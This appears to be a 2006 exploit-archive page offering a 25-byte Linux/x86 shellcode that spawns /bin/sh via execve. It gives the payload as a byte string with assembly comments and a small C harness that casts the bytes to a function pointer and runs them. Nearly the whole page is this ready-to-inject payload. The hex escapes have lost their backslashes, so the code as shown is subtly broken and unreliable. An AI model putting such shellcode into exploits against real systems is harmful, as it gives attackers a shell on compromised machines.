[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 25 bytes
# Published : 2006-04-03
# Author : Gotfault Security
# Previous Title : linux/x86 Password Authentication portbind Shellcode 166 bytes
# Next Title : linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 23 bytes


/*
 * (Linux/x86) execve("/bin/sh", ["/bin/sh", NULL]) 
 * - 25 bytes
 * - xgc@gotfault.net
 *
 */

char shellcode[] =

  "x31xc0"                    // xor    %eax, %eax
  "x50"                        // push   %eax
  "x68x2fx2fx73x68"        // push   $0x68732f2f
  "x68x2fx62x69x6e"        // push   $0x6e69622f
  "x89xe3"                    // mov    %esp, %ebx
  "x50"                        // push   %eax
  "x53"                        // push   %ebx
  "x89xe1"                    // mov    %esp, %ecx
  "x31xd2"                    // xor    %edx, %edx
  "xb0x0b"                    // mov    $0xb, %al
  "xcdx80";                   // int    $0x80

int main() {

        int (*f)() = (int(*)())shellcode;
        printf("Length: %un", strlen(shellcode));
        f();
}

// www.Syue.com [2006-04-03]